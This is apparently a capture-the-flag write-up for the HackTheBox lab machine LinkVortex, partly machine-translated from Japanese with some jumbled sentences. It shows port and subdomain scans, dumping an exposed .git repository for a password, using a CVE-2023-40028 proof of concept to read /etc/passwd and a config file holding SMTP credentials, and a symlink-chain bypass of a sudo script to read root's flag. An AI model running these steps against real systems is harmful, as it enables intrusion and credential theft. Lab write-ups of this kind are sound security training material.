User Flag
Perform a port scan.
$ nmap -Pn -sVC -T4 -A -p- 10.10.11.47 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open http Apache httpd
|_http-title: Did not follow redirect to http://linkvortex.htb/
|_http-server-header: Apache
You now know the operational status of the port.
port | service | version |
---|---|---|
22 | ssh | OpenSSH 8.9p1 |
80 | http | Apache |
Now that you know the domain, add it./etc/hosts
10.10.11.47 linkvortex.htb
80
Access the number port.

It turns out that it was created with an open source tool called From Footer.ghost

ディレクトリスキャンをします。
$ dirsearch -u http://linkvortex.htb/ -x 404
[07:34:11] 301 - 179B - /assets -> /assets/
[07:34:34] 200 - 15KB - /favicon.ico
[07:34:47] 200 - 1KB - /LICENSE
[07:35:11] 200 - 103B - /robots.txt
[07:35:18] 200 - 256B - /sitemap.xml
/robots.txt
にアクセスすると更なるパスを発見できました。
/robots.txt
User-agent: *
Sitemap: http://linkvortex.htb/sitemap.xml
Disallow: /ghost/
Disallow: /p/
Disallow: /email/
Disallow: /r/
/ghost
When I accessed the site, a login form was displayed.

admin@linkvortex.htb
When I tried to authenticate with , I was able to confirm the existence of this account from the error message.

Enumerate subdomains.
$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.linkvortex.htb" -u http://linkvortex.htb -fs 230
dev [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 258ms]
dev.linkvortex.htb
I found it in the postscript and access it./etc/hosts

dev
サブドメインのディレクトリスキャンをします。
$ dirsearch -u http://dev.linkvortex.htb -x 404
[09:30:23] 301 - 239B - /.git -> http://dev.linkvortex.htb/.git/
[09:30:23] 200 - 557B - /.git/
[09:30:23] 200 - 201B - /.git/config
[09:30:23] 200 - 73B - /.git/description
[09:30:23] 200 - 620B - /.git/hooks/
[09:30:23] 200 - 41B - /.git/HEAD
[09:30:23] 200 - 402B - /.git/info/
(省略)
/.git/
が見つかったので配下をダウンロードします。
$ wget -r http://dev.linkvortex.htb/.git/
コミット履歴を複数確認できました。
$ git log --oneline
299cdb4 (HEAD, tag: v5.58.0) v5.58.0
dce2e68 Added Tips&Donations link to portal links (#17580)
3562560 Data generator: Ensure order of newsletters is correct
(省略)
git diff
コマンドでステージング環境との差分を確認するとパスワードを発見できました。
$ git diff --staged
(省略)
it('complete setup', async function () {
const email = 'test@example.com';
- const password = 'thisissupersafe';
+ const password = 'OctopiFociPilfer45';
得られたパスワードでログインに成功しました。

settings
からバージョンがだと分かりました。5.58.0

When searching for vulnerability information in the affected version, it was found.
It seems that arbitrary files can be read by exploiting this vulnerability.CVE-2023-40028
The following repositories were used for the PoC.
/etc/passwd
The file was successfully loaded.
$ ./CVE-2023-40028.sh -u "admin@linkvortex.htb" -p "OctopiFociPilfer45"
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
If you check the hostname, you can expect to be in a Docker container.
file> /etc/hostname
7facf5f862ae
I would like to view the configuration file, but I don’t know the current directory structure.
Let’s actually build the container locally to understand the directory structure in the container.
Download the official image from Docker Hub.
Follow the official announcement to run the command and build.
$ sudo docker pull ghost
$ sudo docker run -d --name some-ghost -e NODE_ENV=development ghost
When you enter the container, you can see that you are in./var/lib/ghost
$ sudo docker exec -it some-ghost /bin/bash
root@85551094b4c0:/var/lib/ghost#
I checked the directory and found it.
You can also get information on the actual target machine by referring to it.config.production.json
/var/lib/ghost/config.production.json
# ls -la
total 40
drwxr-xr-x 1 node node 4096 Dec 10 01:30 .
drwxr-xr-x 1 root root 4096 Dec 10 01:29 ..
-rw-r--r-- 1 node node 84 Dec 10 01:30 .ghost-cli
lrwxrwxrwx 1 node node 22 Dec 10 01:30 config.development.json -> config.production.json
-rw-r--r-- 1 node node 295 Dec 10 01:30 config.production.json
drwxrwxrwt 11 node node 4096 Dec 10 17:26 content
drwxr-xr-x 11 node node 4096 Dec 10 01:29 content.orig
lrwxrwxrwx 1 node node 31 Dec 10 01:30 current -> /var/lib/ghost/versions/5.104.1
drwxr-xr-x 1 node node 4096 Dec 10 01:29 versions
When I actually checked it on the target machine, I was able to get the SMTP credentials.config.production.json
file> /var/lib/ghost/config.production.json
{
"url": "http://localhost:2368",
"server": {
"port": 2368,
"host": "::"
},
"mail": {
"transport": "Direct"
},
"logging": {
"transports": ["stdout"]
},
"process": "systemd",
"paths": {
"contentPath": "/var/lib/ghost/content"
},
"spam": {
"user_login": {
"minWait": 1,
"maxWait": 604800000,
"freeRetries": 5000
}
},
"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "bob@linkvortex.htb",
"pass": "fibber-talented-worth"
}
}
}
}
The SSH connection was successful with the obtained credentials.
$ ssh bob@linkvortex.htb
bob@linkvortex:~$
/home/bob/user.txt
I was able to get the user flag from.
$ cat user.txt
f45a09ebd41243969ef945b549ec7a5f
Root Flag
sudo -l
If you check it, it seems that you can do it./opt/ghost/clean_symlink.sh
$ sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty, env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
/opt/ghost/clean_symlink.sh
Confirm the processing of the .
/opt/ghost/clean_symlink.sh
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi
CHECK_CONTENT
If the environment variable is not set, set it to false.
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
It accepts the arguments of the script and checks to see if the file ends with ..png
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
If the PNG file in the argument is a link, get the file name and check if the link destination contains .etc
root
If so, delete the link.
If it is not included, move the file to , and if is true, display the linked file with the cat command./var/quarantined
CHECK_CONTENT
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi
It seems that it can be read with the last cat command.
First, satisfy the conditional branch when is true./root/root.txt
CHECK_CONTENT
$ CHECK_CONTENT=true
$ export CHECK_CONTENT
$ printenv | grep CHECK_CONTENT
CHECK_CONTENT=true
Next, create a symbolic link.
In this case, we will use to avoid the string check.シンボリックリンクチェーン
etc
root
/root/root.txt
Create a link to the
And create a link to .a.png
a.png
b.png
/var/quarantined
$ ln -s /root/root.txt a.png
$ ln -s /var/quarantined/a.png b.png
$ ls -la
total 8
drwxr-xr-x 2 bob bob 4096 Dec 10 19:17 .
drwxr-xr-x 14 root root 4096 Nov 29 15:58 ..
lrwxrwxrwx 1 bob bob 14 Dec 10 19:17 a.png -> /root/root.txt
lrwxrwxrwx 1 bob bob 22 Dec 10 19:17 b.png -> /var/quarantined/a.png
/opt/ghost/clean_symlink.sh
I was able to get the flag by executing it with the argument of.b.png
/root/root.txt
$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /var/quarantined/b.png
Link found [ /var/quarantined/b.png ] , moving it to quarantine
/usr/bin/mv: '/var/quarantined/b.png' and '/var/quarantined/b.png' are the same file
Content:
6a8d12b830755445dc3634720f45860c